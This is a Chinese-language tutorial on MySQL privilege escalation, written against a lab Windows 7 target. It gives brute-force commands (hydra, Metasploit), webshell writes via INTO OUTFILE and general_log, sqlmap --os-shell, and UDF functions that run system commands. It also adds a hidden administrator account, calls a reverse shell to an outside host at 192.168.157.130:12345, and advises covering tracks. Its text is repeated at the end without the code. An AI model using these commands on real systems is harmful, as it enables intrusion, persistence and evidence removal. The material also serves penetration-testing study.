Mysql环境下的提权方式小结
字数 1015 2025-08-11 17:40:22

MySQL环境下的提权方式详解

一、环境搭建

  1. 测试环境配置:

    • 靶机系统:Windows 7
    • 数据库环境:phpstudy搭建的MySQL
    • IP地址:192.168.153.132
  2. 配置MySQL远程连接:

    -- 查看当前用户及host
    SELECT host,user FROM user;
    
    -- 将root用户改为任意IP可登录
    UPDATE user SET host='%' WHERE user='root';
    

二、权限获取方法

1. 数据库操纵权限获取

MySQL弱口令爆破

  • 使用nmap探测3306端口:

    nmap -sV 192.168.153.132
    
  • 使用hydra爆破:

    hydra -l root -P pass.txt 192.168.153.132 mysql
    
  • 使用Metasploit爆破:

    msfconsole
    search mysql_login
    use auxiliary/scanner/mysql/mysql_login
    set RHOSTS 192.168.153.132
    set USERNAME root
    set PASS_FILE /path/to/passwords.txt
    run
    

2. Shell权限获取

通过outfile写入shell

前提条件:

  • secure_file_priv无限制
  • 具有写权限

secure_file_priv值说明:

  • NULL:不允许导入或导出
  • /tmp:只允许在/tmp目录导入导出
  • 空:不限制目录

写入方法:

SELECT '<?php phpinfo(); ?>' INTO OUTFILE '/var/www/html/info.php';

使用sqlmap写入:

sqlmap -u "http://x.x.x.x/?id=x" --file-write="/path/to/shell.php" --file-dest="/var/www/html/shell.php"

通过日志写shell

适用于MySQL 5.0+版本

操作步骤:

-- 开启general_log
SET GLOBAL general_log='on';

-- 设置日志文件路径
SET GLOBAL general_log_file='/var/www/html/shell.php';

-- 写入PHP代码
SELECT '<?php phpinfo(); ?>';

三、提权方法

1. UDF提权

UDF(User-Defined Function)是MySQL的拓展接口,用于创建自定义函数。

手工提权步骤

  1. 动态链接库要求:

    • MySQL >= 5.1版本需将UDF文件放在lib\plugin目录下
  2. 创建命令执行函数:

CREATE FUNCTION sys_eval RETURNS STRING SONAME "lib_mysqludf_sys.dll";

常用函数:

  • sys_eval:执行任意命令并返回输出
  • sys_exec:执行任意命令并返回退出码(无回显)
  • sys_get:获取环境变量
  • sys_set:创建或修改环境变量
  1. 常用操作:
-- 创建cmdshell函数
CREATE FUNCTION cmdshell RETURNS STRING SONAME 'moonudf.dll';

-- 添加管理员用户
SELECT cmdshell('net user darkmoon 123456 /add & net localgroup administrators darkmoon /add');

-- 查看用户
SELECT cmdshell('net user');

-- 查看端口
SELECT cmdshell('netstat -an');

-- 查看创建的函数
SELECT name FROM mysql.func;

-- 删除函数
DELETE FROM mysql.func WHERE name='cmdshell';

-- 创建反弹shell函数
CREATE FUNCTION backshell RETURNS STRING SONAME 'moonudf.dll';

-- 执行反弹
SELECT backshell('192.168.157.130',12345);

-- 删除反弹函数
DELETE FROM mysql.func WHERE name='backshell';
  1. 处理plugin目录不存在的情况:
    • 在MySQL目录下新建lib/plugin文件夹

工具提权

  1. 暗月脚本提权:

    • 需要plugin目录存在
    • secure_file_priv必须为空(不为NULL)
  2. sqlmap提权:

    sqlmap -d "mysql://root:root@192.168.153.132:3306/mysql" --os-shell
    
    • 要求secure_file_priv为空
  3. Metasploit提权:

    • 适用于MySQL 5.5.9以下版本

四、关键注意事项

  1. secure_file_priv设置:

    • MySQL 5.5之前默认空(可任意写文件)
    • MySQL 5.5之后默认NULL(不可写文件)
  2. 版本限制:

    • UDF提权在MySQL 5.5.9以下版本更易成功
    • 日志写shell需要MySQL 5.0+版本
  3. 权限要求:

    • 需要具有FILE权限
    • 需要目标目录可写
  4. 清理痕迹:

    • 使用后及时删除创建的函数
    • 恢复general_log设置

通过以上方法,可以在MySQL环境下实现从数据库权限获取到系统提权的完整过程。实际应用中需根据目标环境的具体配置选择合适的方法。

MySQL环境下的提权方式详解 一、环境搭建 测试环境配置: 靶机系统:Windows 7 数据库环境:phpstudy搭建的MySQL IP地址:192.168.153.132 配置MySQL远程连接: 二、权限获取方法 1. 数据库操纵权限获取 MySQL弱口令爆破 使用nmap探测3306端口: 使用hydra爆破: 使用Metasploit爆破: 2. Shell权限获取 通过outfile写入shell 前提条件: secure_ file_ priv无限制 具有写权限 secure_ file_ priv值说明: NULL:不允许导入或导出 /tmp:只允许在/tmp目录导入导出 空:不限制目录 写入方法: 使用sqlmap写入: 通过日志写shell 适用于MySQL 5.0+版本 操作步骤: 三、提权方法 1. UDF提权 UDF(User-Defined Function)是MySQL的拓展接口,用于创建自定义函数。 手工提权步骤 动态链接库要求: MySQL >= 5.1版本需将UDF文件放在 lib\plugin 目录下 创建命令执行函数: 常用函数: sys_eval :执行任意命令并返回输出 sys_exec :执行任意命令并返回退出码(无回显) sys_get :获取环境变量 sys_set :创建或修改环境变量 常用操作: 处理plugin目录不存在的情况: 在MySQL目录下新建 lib/plugin 文件夹 工具提权 暗月脚本提权: 需要plugin目录存在 secure_ file_ priv必须为空(不为NULL) sqlmap提权: 要求secure_ file_ priv为空 Metasploit提权: 适用于MySQL 5.5.9以下版本 四、关键注意事项 secure_ file_ priv设置: MySQL 5.5之前默认空(可任意写文件) MySQL 5.5之后默认NULL(不可写文件) 版本限制: UDF提权在MySQL 5.5.9以下版本更易成功 日志写shell需要MySQL 5.0+版本 权限要求: 需要具有FILE权限 需要目标目录可写 清理痕迹: 使用后及时删除创建的函数 恢复general_ log设置 通过以上方法,可以在MySQL环境下实现从数据库权限获取到系统提权的完整过程。实际应用中需根据目标环境的具体配置选择合适的方法。